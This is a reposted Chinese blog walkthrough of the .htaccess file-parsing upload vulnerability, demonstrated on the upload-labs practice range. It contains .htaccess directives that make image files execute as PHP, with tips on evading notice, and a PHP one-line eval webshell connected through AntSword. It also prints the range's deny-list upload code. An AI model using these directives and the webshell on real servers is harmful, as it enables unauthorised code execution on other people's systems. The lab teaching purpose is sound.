.htaccess文件解析漏洞

前言

htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

一、实验环境

  • PHPstudy
  • php5.6以下不带nts的版本
  • upload-labs-master文件上传漏洞靶场
  • 服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件

二、原理

上传覆盖.htaccess文件,重写解析规则,将上传的图片马以脚本方式解析

三、.htaccess文件内容

htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。

第一种、虽然好用,但是会误伤其他正常文件,易被发现
1
2 AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
3 SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
4
第二种、精确控制能被解析成php代码的文件,不容易被发现

只要文件名匹配到所定义的字符串,就会将该文件当作php解析

1 "自定义.gif">
2 SetHandler application/x-httpd-php   #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行
3 AddHandler php5-script .gif          #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行
4
第三种、同1没太大区别
1
2 AddType application/x-httpd-php .gif
3

四、实验

1、选择 upload-labs-master 的第四关
源代码如下:
1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists(UPLOAD_PATH)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, '.');
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12
13         if (!in_array($file_ext, $deny_ext)) {
14             $temp_file = $_FILES['upload_file']['tmp_name'];
15             $img_path = UPLOAD_PATH.'/'.$file_name;
16             if (move_uploaded_file($temp_file, $img_path)) {
17                 $is_upload = true;
18             } else {
19                 $msg = '上传出错!';
20             }
21         } else {
22             $msg = '此文件不允许上传!';
23         }
24     } else {
25         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
26     }
27 }
2、上传写好的 .htaccess 文件,这里我用的第一种方法,内容如下:
1 1
2 2 AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
3 3 SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
4 4

.htaccess文件解析漏洞

.htaccess文件解析漏洞
3、制作图片马

一句话木马文件

1 php @eval($_POST['pass']);

.htaccess文件解析漏洞
4、上传图片马

.htaccess文件解析漏洞

.htaccess文件解析漏洞
5、蚁剑连接

复制图片连接

.htaccess文件解析漏洞

.htaccess文件解析漏洞

.htaccess文件解析漏洞

五、总结

避免使用.htaccess文件有两个主要原因:
1、性能
如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件。因此,无论是否真正用到,启用.htaccess都会导致性能的下降。且对于每一个请求,都需要读取一次.htaccess文件。

Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用,所以,如果请求/w1/w2/www中的页面,Apache必须查找以下文件:
/.htaccess、/w1/.htaccess、/w1/w2/.htaccess、/w1/w2/www/.htaccess
共要访问4个额外的文件,即使这些文件都不存在。而这可能仅仅由于允许根目录”/”使用.htaccess ,虽然这种情况并不多。

2、安全
允许用户自己修改服务器的配置,这可能会导致某些意想不到的修改,且如果给予用户较少的特权而不能满足其需要,则会带来额外的技术支持请求。所以,必须明确地告诉用户已经给予他们的权限,说明AllowOverride设置的值,并引导他们参阅相应的说明,以免日后生出许多麻烦。

Original: https://www.cnblogs.com/ggc-gyx/p/16412236.html
Author: ʚɞ无恙
Title: .htaccess文件解析漏洞

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/608908/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 性能优化,实践浅谈

    当经历了无数的日日夜夜,朝九晚九,攻克了无数难关,终于将系统预定功能开发完成,通过测试,部署上线后。你是否会感觉志得意满,到达了人生巅峰,高唱无敌是多么寂寞。 现实情况是,如果你这…

    Linux 2023年6月13日
    0118
  • 维修数列代码及简易题解

    总体方案:将左右端点分别转到根和根的右儿子,将目标序列挤到以根的右儿子的左儿子为根的子树中,然后进行一系列骚操作即可 建树:用类似线段树的方法建树,递归即可,注意加两个边界点 插入…

    Linux 2023年6月6日
    0122
  • Redis进阶 事务:Redis事务详解

    Redis事务相关命令 Redis事务执行步骤 Redis 事务的本质是一组命令的集合。事务支持一次执行多个命令,一个事务中所有命令都会被序列化。在事务执行过程,会按照顺序串行化执…

    Linux 2023年5月28日
    095
  • Swagger2 Failed to start bean ‘documentationPluginsBootstrapper’; nested exception is java.lang.NullPointerException报错

    报错信息: Failed to start bean ‘documentationPluginsBootstrapper’; nested exception is java.la…

    Linux 2023年6月14日
    078
  • 代码审计-PHP反序列化漏洞

    什么是序列化 序列化可以实现将对象压缩并格式化,方便数据的传输和存储。为什么要序列化?PHP 文件在执行结束时会把对象销毁,如果下次要引用这个对象的话就很麻烦,所以就有了对象序列化…

    Linux 2023年6月6日
    0117
  • LVS 负载均衡集群

    1.1 LVS介绍 LVS 是 Linux Virtual Server 的简写,即 Linux 虚拟服务器,是一个虚拟的服务器集群系统。此项目在 1998 年 5 月由章文嵩博士…

    Linux 2023年6月6日
    094
  • RPA SAP财务内部对账机器人

    bash;gutter:true;【简介】本机器人用于使用SAP软件的集团公司间往来对账前台登录SAP账户和密码,需退出PC微信,输入法切换为英文半角状态。【详细流程】1、清空Ex…

    Linux 2023年6月7日
    0122
  • Web开发静态资源处理

    Web开发静态资源处理 7.1 静态资源处理 我们要引入前端资源,项目中有许多的静态资源,比如css,js等文件,这个SpringBoot是怎么处理呢? 如果我们是一个web应用,…

    Linux 2023年6月14日
    0112
  • java处理http请求之Apache httpClient入门教程

    说明 本文示例代码基于 4.5.13 版本 转载请注明出处:https://www.cnblogs.com/qnlcy/p/15378446.html 一、项目介绍 Apache …

    Linux 2023年6月6日
    084
  • 【Example】C++运算符重载

    首先,阅读之前要先搞清楚什么是运算符、函数重载。函数重载就是在一个范围内为一个函数声明多个实现方式,函数名必须一致。 那么C++运算符是否可以重载呢?可以!先弄清什么时候需要进行运…

    Linux 2023年6月13日
    0109
  • 爬取与数据存储

    ch5. 数据存储 文件存储 JSON文件存储 关系型数据库存储 Mysql 1. JSON文件存储 1. JSON中的对象和数组 *对象 ​ 格式为 {key1:value1, …

    Linux 2023年6月7日
    079
  • 工程课Linux第一节笔记

    上课笔记 文件系统结构 /根目录 /bin/ 存放系统命令,普通用户与root都可以执行 /etc/ 配置文件保存位置 /lib/ 系统调用的函数库保存位置 /var/ 目录用于存…

    Linux 2023年6月6日
    080
  • CentOS系统磁盘目录空间调整

    前几天装了几台linux服务器,安装操作系统的时候,选择了默认磁盘分区,结果导致后面主目录分区空间不够用了,需要把其他分区的空间划分给主分区一点。 下面以CentOS6.5演示: …

    Linux 2023年6月6日
    098
  • 写给初学者的Linux errno 错误码机制

    不同于Java的异常处理机制, 当你使用C更多的接触到是基于错误码的异常机制, 简单来说就是当调用的函数发生异常时, 程序不会跳转到一个统一处理异常的地方, 取而代之的是返回一个整…

    Linux 2023年5月27日
    083
  • 不同云服务器下,ubuntu下开k3s集群

    首先先感谢老哥的文章:h构建多云环境下的K3S集群,但是我尝试在centos 8.2上面前面一直执行报错并且安装glibc 2.17时还会报错make版本太低,所以直接放弃cent…

    Linux 2023年6月7日
    092
  • Flask的环境配置

    from flask import Flask​ 通过专门的配置文件,读取配置项,适用于配置项较多 settings.py class Config(object):    DEB…

    Linux 2023年6月8日
    0100
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球